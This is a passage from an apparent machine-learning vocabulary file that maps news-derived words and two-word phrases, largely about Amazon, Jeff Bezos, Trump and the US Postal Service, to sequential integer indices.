"report courtney": 16299, "hood brims": 16300, "freddy": 16301, "tom hopper": 16302, "opening new": 16303, "manager positions": 16304, "highest price": 16305, "potential action": 16306, "loose monetary": 16307, "treasurys": 16308, "reduced service": 16309, "performing": 16310, "pay boost": 16311, "mysteries": 16312, "reaching trillion": 16313, "dorsey showing": 16314, "peel": 16315, "infrastructure funding": 16316, "routinely pilloried": 16317, "withdraws national": 16318, "dangers percolating": 16319, "demoting": 16320, "2558225": 16321, "corporate selected": 16322, "repeatedly expressed": 16323, "department paying": 16324, "cuomo frankly": 16325, "consider just": 16326, "m0 da": 16327, "initially fell": 16328, "amazon rds": 16329, "kids explore": 16330, "taulli recently": 16331, "socialist member": 16332, "national group": 16333, "commerce solutions": 16334, "retail globally": 16335, "doj contends": 16336, "history contrary": 16337, "homelessness spending": 16338, "experience 125": 16339, "association argues": 16340, "deadlines start": 16341, "sampling": 16342, "calhoun": 16343, "finance boom": 16344, "goods chain": 16345, "protocols algorithms": 16346, "valuable insights": 16347, "identity shopping": 16348, "lineal middleweight": 16349, "tone today": 16350, "include massive": 16351, "sole purpose": 16352, "relatedarticles null": 16353, "offer details": 16354, "helps pass": 16355, "secretary": 16356, "competitor": 16357, "meghan joins": 16358, "ba rec": 16359, "newsroom ap": 16360, "ivanka trump": 16361, "manohla": 16362, "mike posted": 16363, "killed passenger": 16364, "progress old": 16365, "lawsuit seeking": 16366, "power generation": 16367, "plan think": 16368, "lvmh high": 16369, "3aen": 16370, "want jobs": 16371, "geographical scope": 16372, "good knife": 16373, "communications jay": 16374, "amazon exlarge": 16375, "amazon toyota": 16376, "force bends": 16377, "analyze": 16378, "trump latestnews": 16379, "e1": 16380, "worth \u0142122": 16381, "fathering": 16382, "involvement special": 16383, "published excerpts": 16384, "hisses": 16385, "citing report": 16386, "washington jaspers": 16387, "nerd": 16388, "vicious competitors": 16389, "obama second": 16390, "wealthiest people": 16391, "conundrum": 16392, "kelly wright": 16393, "information sellers": 16394, "cocktail codex": 16395, "particularly": 16396, "weekly gain": 16397, "jerry west": 16398, "essentially subsidises": 16399, "brother leak": 16400, "ran holiday": 16401, "host book": 16402, "buy good": 16403, "sources bezos": 16404, "lifted sanctions": 16405, "woman killed": 16406, "agency shortly": 16407, "mic": 16408, "hamm sent": 16409, "added vague": 16410, "cerebral palsy": 16411, "stress reliever": 16412, "large lobbying": 16413, "staff minutes": 16414, "cartels": 16415, "tastiest": 16416, "greed head": 16417, "adults want": 16418, "billy": 16419, "280 homeless": 16420, "microsoft device": 16421, "new senate": 16422, "throw microsoft": 16423, "carte": 16424, "aviation sector": 16425, "physically healthy": 16426, "booming trump": 16427, "dfs": 16428, "investments invesco": 16429, "trump doj": 16430, "boycotts lawsuits": 16431, "relevant combining": 16432, "fuel suspicions": 16433, "california peninsula": 16434, "compositions": 16435, "offred final": 16436, "apocalypse brought": 16437, "thirteen reasons": 16438, "teen vogue": 16439, "atomwaffen": 16440, "rival bids": 16441, "instead amplified": 16442, "persuade": 16443, "ditch new": 16444, "follow ken": 16445, "president signed": 16446, "money coming": 16447, "youngs world": 16448, "amazon hour": 16449, "colonial era": 16450, "2003 calling": 16451, "karapatan": 16452, "likes amazon": 16453, "interim condensed": 16454, "summer camps": 16455, "dpd": 16456, "letter sent": 16457, "outsize influence": 16458, "strongest": 16459, "cannibalise": 16460, "sean diddy": 16461, "hike later": 16462, "rabbits": 16463, "allegations prove": 16464, "questioning lauren": 16465, "2018 wusa": 16466, "significant meetings": 16467, "news presenter": 16468, "delicate time": 16469, "really wants": 16470, "structurally": 16471, "biggest customers": 16472, "stinky": 16473, "obscure world": 16474, "higher growth": 16475, "grace pizzazz": 16476, "ross just": 16477, "vendors eager": 16478, "journal ranked": 16479, "hope john": 16480, "kr": 16481, "rights victor": 16482, "writes christopher": 16483, "receiving counterfeits": 16484, "balloon publishing": 16485, "year adjusted": 16486, "viewed bezos": 16487, "shipping 2018": 16488, "bezos controversy": 16489, "schools rich": 16490, "cults lost": 16491, "blk state": 16492, "homebase": 16493, "bad day": 16494, "te anau": 16495, "levels management": 16496, "grim picture": 16497, "leaders expressed": 16498, "knife fight": 16499, "plunge yesterday": 16500, "just union": 16501, "innocent driver": 16502, "people campaigning": 16503, "maxwell": 16504, "market gorilla": 16505, "defenders according": 16506, "biased democrats": 16507, "given just": 16508, "yhoo": 16509, "pwc regence": 16510, "products included": 16511, "conditions efforts": 16512, "dc just": 16513, "classifications": 16514, "objects hotstar": 16515, "big question": 16516, "subscription fees": 16517, "just filed": 16518, "haunt rival": 16519, "bullish contrarians": 16520, "000z": 16521, "lower latency": 16522, "driven shipping": 16523, "did really": 16524, "policies dictated": 16525, "proclamations": 16526, "hbk": 16527, "loathes implied": 16528, "photo": 16529, "conduct variety": 16530, "art stadium": 16531, "cert queens": 16532, "helping bolsonaro": 16533, "eric johnson": 16534, "specifically named": 16535, "campaign season": 16536, "rights aeht": 16537, "scrutiny ubhi": 16538, "factor authentication": 16539, "instantly think": 16540, "undefined typeof": 16541, "stylized": 16542, "garden level": 16543, "deportation programs": 16544, "bringing new": 16545, "enduring": 16546, "promotions globe": 16547, "maya rudolph": 16548, "robyn denholm": 16549, "treatment trump": 16550, "nonprofit": 16551, "class maybe": 16552, "hospitals": 16553, "summer aggravated": 16554, "redstone family": 16555, "requires level": 16556, "clare mcgrane": 16557, "tangible says": 16558, "contact reporter": 16559, "week newsletter": 16560, "fox msnbc": 16561, "corporate owners": 16562, "2016 financial": 16563, "sharief": 16564, "political enemy": 16565, "xenophobic": 16566, "predict right": 16567, "bendib": 16568, "told thedc": 16569, "100 certainty": 16570, "right approach": 16571, "describing apparently": 16572, "haskett": 16573, "venezuelan gold": 16574, "vince dixon": 16575, "organisations": 16576, "strikes high": 16577, "deter european": 16578, "positives": 16579, "business including": 16580, "klein nate": 16581, "25am": 16582, "included sarah": 16583, "approximately billion": 16584, "sports teams": 16585, "recently lashed": 16586, "reporter actions": 16587, "introduced clients": 16588, "rabinovitz": 16589, "important book": 16590, "palm": 16591, "tony luong": 16592, "crush imports": 16593, "city stock": 16594, "money industries": 16595, "edition infowars": 16596, "leaders discussion": 16597, "ya s5": 16598, "wealthy mexico": 16599, "barren australian": 16600, "fur doesn": 16601, "reissue": 16602, "times mccabe": 16603, "wouldn feel": 16604, "multiple requests": 16605, "quite frightening": 16606, "knowledge prospect": 16607, "cat zakrzewski": 16608, "z8 m4": 16609, "expectations low": 16610, "stock outrperform": 16611, "specialist": 16612, "director dylan": 16613, "information shapes": 16614, "reports michael": 16615, "industry videos": 16616, "million": 16617, "captain marvel": 16618, "mnuchin began": 16619, "kapos skapos": 16620, "website politifact": 16621, "democrat earlier": 16622, "sparking twitter": 16623, "central roles": 16624, "ebay": 16625, "increase pressure": 16626, "reform including": 16627, "trump counter": 16628, "government writes": 16629, "new canada": 16630, "fully tax": 16631, "frontloaded given": 16632, "revised 479": 16633, "unique design": 16634, "emerged sens": 16635, "international house": 16636, "chronology htm": 16637, "honeyman check": 16638, "rikers island": 16639, "downside hasn": 16640, "accenture chevron": 16641, "economic productivity": 16642, "users probably": 16643, "placeswhere": 16644, "run ads": 16645, "worth reading": 16646, "incorporated new": 16647, "main candidate": 16648, "spells monopoly": 16649, "facility new": 16650, "track canadian": 16651, "price began": 16652, "cable free": 16653, "stock image": 16654, "costco maxx": 16655, "exaggerating": 16656, "post australia": 16657, "file antitrust": 16658, "batch": 16659, "specific obama": 16660, "659": 16661, "horning": 16662, "shareholder stunned": 16663, "start brian": 16664, "servility": 16665, "voqaw5nn2u newssuite": 16666, "chairman ceo": 16667, "bad judgment": 16668, "busy ramming": 16669, "tara lachapelle": 16670, "primary victory": 16671, "leaves office": 16672, "environmental licensing": 16673, "deliver meals": 16674, "free china": 16675, "nomination washington": 16676, "currently prime": 16677, "crosstalk bartiromo": 16678, "life thrown": 16679, "methods developed": 16680, "penalty tariffs": 16681, "netanyahu accompanied": 16682, "family archie": 16683, "bernadette": 16684, "policy economic": 16685, "clothed": 16686, "term needs": 16687, "enchancment hq2": 16688, "unfavorable": 16689, "350 000": 16690, "vexing trade": 16691, "bezos allegation": 16692, "supplemental nutritional": 16693, "presumably affect": 16694, "patti davis": 16695, "mineral": 16696, "faces heightened": 16697, "president according": 16698, "tyson allegations": 16699, "stakes 467": 16700, "profits overseas": 16701, "vestige": 16702, "sebastian": 16703, "anti net": 16704, "deeply disturbing": 16705, "previous chief": 16706, "better position": 16707, "unit spun": 16708, "doug kass": 16709, "reports brit": 16710, "mnuchin doesn": 16711, "attack vehicle": 16712, "offered us3": 16713, "oscars lady": 16714, "changes rainfall": 16715, "forested": 16716, "just imagine": 16717, "contain": 16718, "ama": 16719, "officially named": 16720, "grain": 16721, "underlying trend": 16722, "workers effective": 16723, "sci fi": 16724, "customers report": 16725, "timesofkskgallery blogspot": 16726, "bind": 16727, "essential delivery": 16728, "taylor smith": 16729, "different needs": 16730, "administration usps": 16731, "dollar": 16732, "indexes corrections": 16733, "longtime donor": 16734, "girl message": 16735, "strong moments": 16736, "247": 16737, "ice officials": 16738, "logistics infrastructure": 16739, "lawyerly": 16740, "deal mayor": 16741, "people house": 16742, "happy": 16743, "newark": 16744, "american actress": 16745, "fine process": 16746, "strongest evidence": 16747, "cheap": 16748, "tells people": 16749, "44842732821": 16750, "raise revenue": 16751, "nicknames": 16752, "delivery partners": 16753, "shelves amazon": 16754, "breaking multi": 16755, "hit trump": 16756, "interests": 16757, "slowed": 16758, "jia": 16759, "domino pizza": 16760, "walmart operations": 16761, "india trip": 16762, "accepting cash": 16763, "congress marking": 16764, "employee salary": 16765, "security appropriations": 16766, "155 calls": 16767, "waging secret": 16768, "nami": 16769, "day taliban": 16770, "patent rich": 16771, "run restaurant": 16772, "raisfeld": 16773, "sitting opposite": 16774, "family foundation": 16775, "photo editing": 16776, "published glossy": 16777, "meld": 16778, "shea points": 16779, "remove forest": 16780, "responders": 16781, "intimately big": 16782, "wearing clothing": 16783, "sleaze": 16784, "tyrannosaur": 16785, "forecast 2018": 16786, "problems citing": 16787, "follows report": 16788, "trump initial": 16789, "requiring standing": 16790, "relates": 16791, "farm family": 16792, "inflation switch": 16793, "union competition": 16794, "biz startups": 16795, "states big": 16796, "stonesifer": 16797, "data business": 16798, "group members": 16799, "sister company": 16800, "media admitted": 16801, "seattle shortly": 16802, "political preferences": 16803, "stock trader": 16804, "praise bezos": 16805, "roulette": 16806, "online competitors": 16807, "unlikely papazian": 16808, "loyola": 16809, "hacking charge": 16810, "times tweeted": 16811, "commission just": 16812, "cnn": 16813, "nick routley": 16814, "jobs bezos": 16815, "nearby data": 16816, "acquired amazon": 16817, "home buyers": 16818, "denied sanders": 16819, "secon amazon": 16820, "biggest divorce": 16821, "sloss": 16822, "actual formal": 16823, "getting lower": 16824, "dramatically reduced": 16825, "target google": 16826, "christina meredith": 16827, "postal infrastructures": 16828, "pirated goods": 16829, "online president": 16830, "additional control": 16831, "dhs secretary": 16832, "family morocco": 16833, "taxes big": 16834, "branson virgin": 16835, "giant internet": 16836, "facebook recent": 16837, "wounded dozens": 16838, "douglas segal": 16839, "street week": 16840, "twitter google": 16841, "chairman rep": 16842, "iran snarls": 16843, "reliable newsletter": 16844, "social change": 16845, "environmental minister": 16846, "causes personally": 16847, "self funding": 16848, "simply presented": 16849, "fox points": 16850, "propose": 16851, "esmail": 16852, "bargains early": 16853, "jquery evt": 16854, "establishments": 16855, "morning president": 16856, "media chooses": 16857, "appreciates": 16858, "hansen": 16859, "good omens": 16860, "business streams": 16861, "regulators looking": 16862, "shares oakworth": 16863, "signed memorandum": 16864, "dailydot": 16865, "pervasive": 16866, "wrong new": 16867, "wrestler hulk": 16868, "intellectual capacity": 16869, "thatamazon": 16870, "substring": 16871, "admissions entirely": 16872, "government solve": 16873, "transaction ctsh": 16874, "dentons": 16875, "billions dollars": 16876, "susan rice": 16877, "job gains": 16878, "alexa skill": 16879, "google homepage": 16880, "fund managers": 16881, "lewd selfies": 16882, "greedily": 16883, "american family": 16884, "resettled": 16885, "family retina": 16886, "latest scandal": 16887, "piracy trademark": 16888, "gaming chips": 16889, "bell amgen": 16890, "bullying sellers": 16891, "assess usps": 16892, "japan thank": 16893, "squeebles characters": 16894, "auxiliarytext bannertext": 16895, "immigration rights": 16896, "inflict": 16897, "products": 16898, "start hawking": 16899, "skate kitchen": 16900, "gross profit": 16901, "year licenses": 16902, "erases world": 16903, "ad mair": 16904, "explicitly framed": 16905, "smerconish": 16906, "disputes lately": 16907, "trump impractical": 16908, "wasn lost": 16909, "high fixed": 16910, "trump lists": 16911, "finance lp": 16912, "counter space": 16913, "lobbied postmaster": 16914, "sufficiently virtuous": 16915, "littlefield": 16916, "attack factcheck": 16917, "japanese officials": 16918, "daniels trump": 16919, "4bkk4jff1g": 16920, "reminds investors": 16921, "100418 medium": 16922, "leader everybody": 16923, "tinder users": 16924, "publish exactly": 16925, "power instead": 16926, "disobeying": 16927, "sale talks": 16928, "having shared": 16929, "zinke interior": 16930, "different walks": 16931, "critical ofamazon": 16932, "qtt roku": 16933, "altar likewise": 16934, "gamed": 16935, "feet snorting": 16936, "kurd": 16937, "counterfeiting measures": 16938, "astonishingly shortsighted": 16939, "sexual letters": 16940, "retailer stocks": 16941, "seattle location": 16942, "redactions": 16943, "measure including": 16944, "seller named": 16945, "comparisongrids": 16946, "salaries averaging": 16947, "stalled china": 16948, "rapid": 16949, "isolationist": 16950, "earlier payment": 16951, "hollywood dominance": 16952, "847": 16953, "chief jeff": 16954, "issue specifically": 16955, "functioning governing": 16956, "potential usps": 16957, "eu finance": 16958, "additionally bolsonaro": 16959, "trump funniest": 16960, "compelling personal": 16961, "tax lots": 16962, "adding nearly": 16963, "rules set": 16964, "year versus": 16965, "collection image": 16966, "cher": 16967, "currentvideocollectioncontainsid": 16968, "run apps": 16969, "using physical": 16970, "corporates": 16971, "chargebacks": 16972, "critics cuomo": 16973, "129": 16974, "strike new": 16975, "131": 16976, "google eyes": 16977, "twitter rants": 16978, "potential hit": 16979, "publicly rallying": 16980, "shipping fees": 16981, "r4ee y9e": 16982, "virginia illustrates": 16983, "bezos reports": 16984, "native poets": 16985, "story reasons": 16986, "428030": 16987, "adel": 16988, "turing architecture": 16989, "debate regardless": 16990, "trading pushed": 16991, "nevada state": 16992, "v4 object": 16993, "delinquencies": 16994, "manipulating": 16995, "expensive drugs": 16996, "senior workers": 16997, "edwin": 16998, "city ami": 16999, "course justice": 17000, "easy reach": 17001, "atkinson": 17002, "canada dysfunctional": 17003, "executives dismissed": 17004, "h\u00e4ns swipe": 17005, "meeting according": 17006, "breaking news": 17007, "revenue sharing": 17008, "recent failures": 17009, "competing measures": 17010, "year moratorium": 17011, "leonhardt": 17012, "sixth largest": 17013, "1920 lewis": 17014, "veiled": 17015, "patent infringing": 17016, "means business": 17017, "support page": 17018, "capturing": 17019, "fired ilieanna": 17020, "subpoenaed story": 17021, "tesco": 17022, "viral video": 17023, "michael florida": 17024, "despite growing": 17025, "jewish lions": 17026, "raiser ben_richie": 17027, "cup venture": 17028, "lobbyist\u00e2": 17029, "ideological clich\u00e9s": 17030, "greater profits": 17031, "conservative commentators": 17032, "given millions": 17033, "earnings estimates": 17034, "dpsrc srch": 17035, "dysfunctional regulatory": 17036, "congressman adam": 17037, "packages president": 17038, "fractional moves": 17039, "evidence mueller": 17040, "forage": 17041, "proposed wall": 17042, "political investigation": 17043, "childhood cancer": 17044, "continues gold": 17045, "testing facility": 17046, "escaped": 17047, "forecasts googler": 17048, "fancy": 17049, "president bag": 17050, "investigating harvey": 17051, "chesterfield": 17052, "2018 barack": 17053, "announce amazon": 17054, "policy regulatory": 17055, "money scheme": 17056, "millennial women": 17057, "market returns": 17058, "reddit user": 17059, "people tended": 17060, "cuar\u00f3n": 17061, "mandhana": 17062, "weak manufacturing": 17063, "times obituary": 17064, "apurva rawal": 17065, "launched numerous": 17066, "tm election": 17067, "flanhofer strongsville": 17068, "military": 17069, "appreciation": 17070, "helped stream": 17071, "pro migration": 17072, "data wobble": 17073, "actual grind": 17074, "answering": 17075, "monica nickelsburg": 17076, "bargain bins": 17077, "authorized construction": 17078, "administration continues": 17079, "barclays maintains": 17080, "officials wanted": 17081, "fda": 17082, "benicio del": 17083, "google really": 17084, "faith": 17085, "dior products": 17086, "contestant stars": 17087, "coffee chocolate": 17088, "showed overwhelming": 17089, "firm employee": 17090, "mourning": 17091, "obama released": 17092, "positive note": 17093, "held vitriol": 17094, "started talking": 17095, "magazine investigated": 17096, "70m worth": 17097, "affair bezos": 17098, "harassment donald": 17099, "enforcement saying": 17100, "isac n\u00f3brega": 17101, "ix congresswoman": 17102, "trump ears": 17103, "addition ruling": 17104, "arlington headquarters": 17105, "infamous scandals": 17106, "shortfall 2018": 17107, "finest classical": 17108, "118 elements": 17109, "cbs miami": 17110, "taken note": 17111, "draft brexit": 17112, "proposes big": 17113, "siblings raised": 17114, "management negotiating": 17115, "didi": 17116, "party presidential": 17117, "heats": 17118, "bad news": 17119, "democratic committee": 17120, "recently related": 17121, "rouhani": 17122, "good yield": 17123, "competitive markets": 17124, "democracy laura": 17125, "outstanding doctor": 17126, "agency challenges": 17127, "decision usps": 17128, "sales taxes": 17129, "null inc_headline": 17130, "enquirer publish": 17131, "shoddy poll": 17132, "expensive deals": 17133, "amaozn fine": 17134, "null credit": 17135, "including packages": 17136, "growth coupled": 17137, "carell impersonating": 17138, "wrath anderson": 17139, "night lineup": 17140, "support staff": 17141, "musicmodernizationact": 17142, "christopher balding": 17143, "budget donald": 17144, "pentagon trump": 17145, "called jedi": 17146, "bows": 17147, "protection regulation": 17148, "approve espn": 17149, "rose 215": 17150, "certainpoliticians": 17151, "agencies brennan": 17152, "slumped early": 17153, "orlando": 17154, "sheraton times": 17155, "corporate tax": 17156, "frozen treats": 17157, "house schiff": 17158, "dueling popes": 17159, "effective companies": 17160, "movie deal": 17161, "mexico retaliates": 17162, "commensurately impoverished": 17163, "coffee shops": 17164, "spray painted": 17165, "virginia choices": 17166, "2q": 17167, "shared information": 17168, "bloc competition": 17169, "svitlana zalishchuk": 17170, "probably involved": 17171, "sent 310": 17172, "services business": 17173, "\u0142115 000": 17174, "warmed": 17175, "aggrandizing": 17176, "1q18": 17177, "wage democratic": 17178, "spence": 17179, "book author": 17180, "nightingale kristin": 17181, "defiant political": 17182, "signit": 17183, "features voiceover": 17184, "upward read": 17185, "expect capital": 17186, "collapsed president": 17187, "parties gee": 17188, "personal wealth": 17189, "trapped inside": 17190, "usps woes": 17191, "book publication": 17192, "linnaeus": 17193, "measure related": 17194, "tennessee uk": 17195, "democratic case": 17196, "rich person": 17197, "identifying potential": 17198, "financial report": 17199, "deal reuters": 17200, "mexicans mccain": 17201, "don refer": 17202, "enraged trump": 17203, "peterbakernyt jobs": 17204, "structure survival": 17205, "chrissy": 17206, "feat remains": 17207, "fated financial": 17208, "substantially weightier": 17209, "illiteracy": 17210, "save borrow": 17211, "praise senator": 17212, "warns coalition": 17213, "reportedly exchanged": 17214, "working mothers": 17215, "shrewd": 17216, "national hockey": 17217, "peddle fake": 17218, "listing tweeting": 17219, "bby ross": 17220, "president sees": 17221, "liz peek": 17222, "breaking holiday": 17223, "bovada lv": 17224, "act fcpa": 17225, "press read": 17226, "growing increasingly": 17227, "thought leaving": 17228, "revenue fred": 17229, "unauthorized reselling": 17230, "noredirect": 17231, "jerry george": 17232, "nooyi brewer": 17233, "dot covering": 17234, "madame tussauds": 17235, "remarkably easy": 17236, "doknow": 17237, "technological strategies": 17238, "corporate shareholders": 17239, "requires fundamental": 17240, "perturb corporations": 17241, "wetherby": 17242, "request explaining": 17243, "new questions": 17244, "zurawik daniel": 17245, "component walmart": 17246, "deduction god": 17247, "ravenswood woodside": 17248, "astronomical": 17249, "italy news": 17250, "risky gambit": 17251, "bezos sought": 17252, "ongoing political": 17253, "software steve": 17254, "sank nasdaq": 17255, "cnbc eamon": 17256, "euphoria": 17257, "help agents": 17258, "bouquets": 17259, "bezos holdings": 17260, "a4ee v1": 17261, "obscenely": 17262, "cepr": 17263, "effect drove": 17264, "gastropub": 17265, "kraft": 17266, "restructuring": 17267, "scale campaign": 17268, "cited survey": 17269, "estimates thank": 17270, "bubble burst": 17271, "ripert": 17272, "intrigued": 17273, "great stride": 17274, "launched day": 17275, "teeth": 17276, "student government": 17277, "beast say": 17278, "big drugs": 17279, "whisked sanchez": 17280, "gush": 17281, "entirely opposite": 17282, "safety amazon": 17283, "delong dreambox": 17284, "adam parkhomenko": 17285, "economics guru": 17286, "ydanis": 17287, "conduct regional": 17288, "exquisitely": 17289, "trump properties": 17290, "swamp buster": 17291, "market hold": 17292, "annual amazon": 17293, "shares slid": 17294, "dept cronyism": 17295, "phrase": 17296, "hq2 coverage": 17297, "hiring numbers": 17298, "lawmakers trump": 17299, "reports hours": 17300, "photo kathy": 17301, "tampering page": 17302, "experienced firsthand": 17303, "subsidies economic": 17304, "amazons website": 17305, "tariffs going": 17306, "snl guest": 17307, "punting": 17308, "effectively pay": 17309, "respected amazon": 17310, "held outside": 17311, "economy today": 17312, "abramowitz continued": 17313, "waldman director": 17314, "maga items": 17315, "52sdfytq8n": 17316, "run articles": 17317, "share based": 17318, "climate consensus": 17319, "limiting trump": 17320, "charitable initiative": 17321, "stahl changing": 17322, "schwab pomerantz": 17323, "philip curve": 17324, "europebriefing nytimes": 17325, "outer boroughs": 17326, "david miller": 17327, "annual budget": 17328, "virginia continuing": 17329, "reelected munster": 17330, "state warriors": 17331, "trump notorious": 17332, "live action": 17333, "forward paid": 17334, "2017 request": 17335, "2018 telling": 17336, "rejoined amazon": 17337, "news amazon": 17338, "credits": 17339, "girl simply": 17340, "surging 2018": 17341, "shaker": 17342, "ros": 17343, "tech bros": 17344, "make sweeping": 17345, "urging changes": 17346, "disney watch": 17347, "h8 d1duukadczlbnn": 17348, "accountable given": 17349, "say investors": 17350, "filming movies": 17351, "magazine particularly": 17352, "difference": 17353, "ooo jobs": 17354, "player getinstance": 17355, "amazon attention": 17356, "big time": 17357, "eddie lambert": 17358, "sensitive negotiations": 17359, "usd": 17360, "romantic relationship": 17361, "biology professor": 17362, "ridiculous block": 17363, "century marked": 17364, "higher read": 17365, "appletv q2": 17366, "dastin": 17367, "starr witnesses": 17368, "filtered": 17369, "recognition abilities": 17370, "western pennsylvania": 17371, "capitalist greed": 17372, "heiresses": 17373, "build compatible": 17374, "woodward credibility": 17375, "trump message": 17376, "bloomin brands": 17377, "gaap adjusted": 17378, "espouse mainstream": 17379, "key amazon": 17380, "posted online": 17381, "sexy": 17382, "collateralized subprime": 17383, "breakup trump": 17384, "requires global": 17385, "listed native": 17386, "imminent death": 17387, "empowers ice": 17388, "1200et": 17389, "object a4ee": 17390, "tour available": 17391, "computing firm": 17392, "excess": 17393, "india oppo": 17394, "regressive": 17395, "total digital": 17396, "allowing governments": 17397, "day showing": 17398, "new actuarial": 17399, "largest personal": 17400, "gabriella": 17401, "australia announced": 17402, "major businesses": 17403, "2014 reuters": 17404, "regarding wages": 17405, "annual average": 17406, "fortune increased": 17407, "millennial esports": 17408, "maelstrom": 17409, "separating alexandria": 17410, "york deal": 17411, "board pscnb": 17412, "provoking constitutional": 17413, "corp north": 17414, "years amid": 17415, "children played": 17416, "industries shaking": 17417, "informative": 17418, "independent organization": 17419, "overvoting": 17420, "hand wasn": 17421, "best run": 17422, "deposed": 17423, "man arrested": 17424, "mcbride": 17425, "photographed": 17426, "gilead": 17427, "rooftops": 17428, "adopt major": 17429, "events including": 17430, "governor scott": 17431, "email possible": 17432, "stock awards": 17433, "ordering processes": 17434, "medical information": 17435, "fiery kavanaugh": 17436, "100 bn": 17437, "dimondstein": 17438, "limited bank": 17439, "remnick new": 17440, "microbial heavy": 17441, "stop whining": 17442, "noir city": 17443, "hacked sign": 17444, "target boosted": 17445, "wife divorced": 17446, "shock people": 17447, "health foundation": 17448, "support recent": 17449, "reese witherspoon": 17450, "smart slate": 17451, "letter sound": 17452, "administration quest": 17453, "jack morse": 17454, "852 billion": 17455, "printing presses": 17456, "wilson argues": 17457, "merchants account": 17458, "bezos succession": 17459, "trump flood": 17460, "cubes": 17461, "fortune amazon": 17462, "breaks major": 17463, "paycheck flock": 17464, "finale": 17465, "lingering questions": 17466, "playerinstance": 17467, "remain": 17468, "actually cost": 17469, "principle": 17470, "somber image": 17471, "termed amazon": 17472, "funds opened": 17473, "fatal crashes": 17474, "doomed lion": 17475, "adopt socialism": 17476, "rapidly grown": 17477, "amazon instructed": 17478, "spies appear": 17479, "meeting saw": 17480, "complex facebook": 17481, "sen jack": 17482, "meraki": 17483, "amazon followed": 17484, "president elect": 17485, "grass roots": 17486, "amazon claim": 17487, "zig saw": 17488, "lender": 17489, "debut novel": 17490, "gentrifying queens": 17491, "initiates coverage": 17492, "thebradblog community": 17493, "alex ross": 17494, "getshowinfo var": 17495, "currently managed": 17496, "alexa garmin": 17497, "sourcefilene": 17498, "previously wendell": 17499, "budget film": 17500, "enquirer howard": 17501, "gradual": 17502, "2015 clinton": 17503, "results travelers": 17504, "force marines": 17505, "ohio rely": 17506, "yorkers timeout": 17507, "trump nearly": 17508, "alerting people": 17509, "redundancy": 17510, "1024w sizes": 17511, "php ziploc": 17512, "rosa heads": 17513, "pain felt": 17514, "new operations": 17515, "physical locations": 17516, "rate peter": 17517, "contractual business": 17518, "amazon likes": 17519, "accept": 17520, "stocks deepens": 17521, "reporter christal": 17522, "signoff think": 17523, "queens city": 17524, "accordingly": 17525, "owner travelhost": 17526, "apple tax": 17527, "irreparably damage": 17528, "deckers earnings": 17529, "intelligence opens": 17530, "award isn": 17531, "registry ability": 17532, "county great": 17533, "self evident": 17534, "director orson": 17535, "known recent": 17536, "similarly commerce": 17537, "worth criticizing": 17538, "pa associated": 17539, "rob sanders": 17540, "alphabet donating": 17541, "attractive option": 17542, "1117161568": 17543, "bidders getting": 17544, "rocco mazza": 17545, "jbg smith": 17546, "regional chain": 17547, "primarychannelarray null": 17548, "ac cnn": 17549, "antitrust official": 17550, "matters blocking": 17551, "hugging congress": 17552, "metapack metapack": 17553, "controversial feud": 17554, "phoenix banner": 17555, "regulatory disruption": 17556, "increase manufacturing": 17557, "college drop": 17558, "encouraging amazon": 17559, "central account": 17560, "firm nielsen": 17561, "cor": 17562, "studio album": 17563, "sends trump": 17564, "soho amazon": 17565, "helping constituents": 17566, "free distribution": 17567, "aggressive promotional": 17568, "life harder": 17569, "gordon chief": 17570, "h0": 17571, "poppy looking": 17572, "including small": 17573, "lehrer": 17574, "antitrust attacks": 17575, "crisis emerged": 17576, "economy based": 17577, "fewer international": 17578, "spending brian": 17579, "reporter magazine": 17580, "acclaimed newspaper": 17581, "gordon haskett": 17582, "iran alliance": 17583, "senior military": 17584, "highlights difference": 17585, "google ad": 17586, "bad things": 17587, "outperformance analyst": 17588, "building arenas": 17589, "publication history": 17590, "senate seat": 17591, "stratford festival": 17592, "winter editor": 17593, "criticism directly": 17594, "sending packages": 17595, "called major": 17596, "disrespectful": 17597, "digressive": 17598, "tests dropping": 17599, "real impact": 17600, "important factors": 17601, "fellow hoosiers": 17602, "assume relative": 17603, "agreeable": 17604, "oversight committee": 17605, "secure border": 17606, "documentar": 17607, "fans appreciate": 17608, "jeffersongraham read": 17609, "tonight raised": 17610, "productive look": 17611, "publicized gathering": 17612, "173218731 img_gettyflag": 17613, "great tool": 17614, "clearly negative": 17615, "hemker": 17616, "recently suggested": 17617, "post breaks": 17618, "respected journalist": 17619, "actually look": 17620, "defined": 17621, "hopeful new": 17622, "morris endeavor": 17623, "rtx": 17624, "data permitting": 17625, "helal": 17626, "shop compaq": 17627, "crystals": 17628, "main target": 17629, "time thanks": 17630, "sun pacific": 17631, "just saying": 17632, "amazon forever": 17633, "amzn syna": 17634, "shoddy": 17635, "vortex smothering": 17636, "people betty": 17637, "remains committed": 17638, "amazon\u00e2 opportunity": 17639, "postal analysts": 17640, "rey": 17641, "damaging story": 17642, "retail chain": 17643, "think word": 17644, "severe cuts": 17645, "construction building": 17646, "coast time": 17647, "executive": 17648, "say read": 17649, "business just": 17650, "told easley": 17651, "satellite imagery": 17652, "peek right": 17653, "phrase russian": 17654, "mideast tension": 17655, "policy president": 17656, "taylor muckerman": 17657, "1998 details": 17658, "bernardo da": 17659, "democrat meeks": 17660, "product delivery": 17661, "search pf_rd_r": 17662, "duston williams": 17663, "escalating china": 17664, "tenuous metoo": 17665, "news service": 17666, "n924661 megyn": 17667, "message twitter": 17668, "prompted evacuation": 17669, "spookier series": 17670, "buzzfeed cia": 17671, "bewildered": 17672, "italy deputy": 17673, "warewashing": 17674, "force appeared": 17675, "opinion writer": 17676, "does lots": 17677, "sanders war": 17678, "press event": 17679, "different kind": 17680, "wrenching": 17681, "companies read": 17682, "talks hq": 17683, "jewell": 17684, "american jobs": 17685, "market averages": 17686, "taub": 17687, "mere threat": 17688, "big acquisition": 17689, "123": 17690, "beautiful people": 17691, "colocation provider": 17692, "food large": 17693, "recent startup": 17694, "span multiple": 17695, "paid commissions": 17696, "marriage picture": 17697, "region according": 17698, "mueller read": 17699, "time caregiver": 17700, "leader jeff": 17701, "yeah considering": 17702, "administration specifically": 17703, "world stock": 17704, "flubbed words": 17705, "a4ee l0": 17706, "current value": 17707, "growth estimates": 17708, "cara": 17709, "reported 129": 17710, "sen orrin": 17711, "spiked": 17712, "people carrying": 17713, "brothers need": 17714, "male workforce": 17715, "tweet trans": 17716, "conduct investigations": 17717, "allow drivers": 17718, "count ge": 17719, "estate cnn": 17720, "bipartisan pressure": 17721, "super villain": 17722, "nationalists": 17723, "denuclearlized korean": 17724, "year starts": 17725, "drinks new": 17726, "minister pedro": 17727, "necessarily represent": 17728, "host andrew": 17729, "political spokesman": 17730, "sat": 